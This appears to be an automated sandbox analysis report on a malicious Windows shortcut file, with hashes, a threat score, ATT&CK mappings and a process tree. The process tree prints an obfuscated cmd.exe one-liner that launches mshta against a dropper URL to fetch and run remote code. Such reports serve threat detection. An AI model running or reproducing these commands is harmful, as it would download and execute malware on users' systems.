cbbf12bcf696d74d255c960f40624840360f09002633e1ea32e141aa6d80cea7

Analysis

max time kernel
148s
max time network
145s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:23

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General

Target
DOC-J2ZS00.lnk
Size 1KB
Sample260804-kacqhszzfw
SHA256 cbbf12bcf696d74d255c960f40624840360f09002633e1ea32e141aa6d80cea7
MD5 427de7935d9643c426bbd2248d839c0d
SHA1 4fb05dd401b1dfeb8fe7f7e93f76f9e7ab6ea175
SHA512 6e9b6f556f368fc9318d5ad25c8181848208f42313e0604630b238c8d9ced34223a5e30216021653f0f8247c0d64b4eb47b98f90d8f0df49fdcf603c3b206817
TLSH
T12E31CB103FED0624F3F79F7388BB572489BBB9668E25CA2D0042460C5472E15E13AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2944	cmd.exe
1856	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2944 wrote to memory of 1856	2944	cmd.exe	90
PID 1856 wrote to memory of 4884	1856	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-J2ZS00.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2944
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set PPQ=msh&&set OsOJ=ta&&start "" !PPQ!!OsOJ! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1856
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4884

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads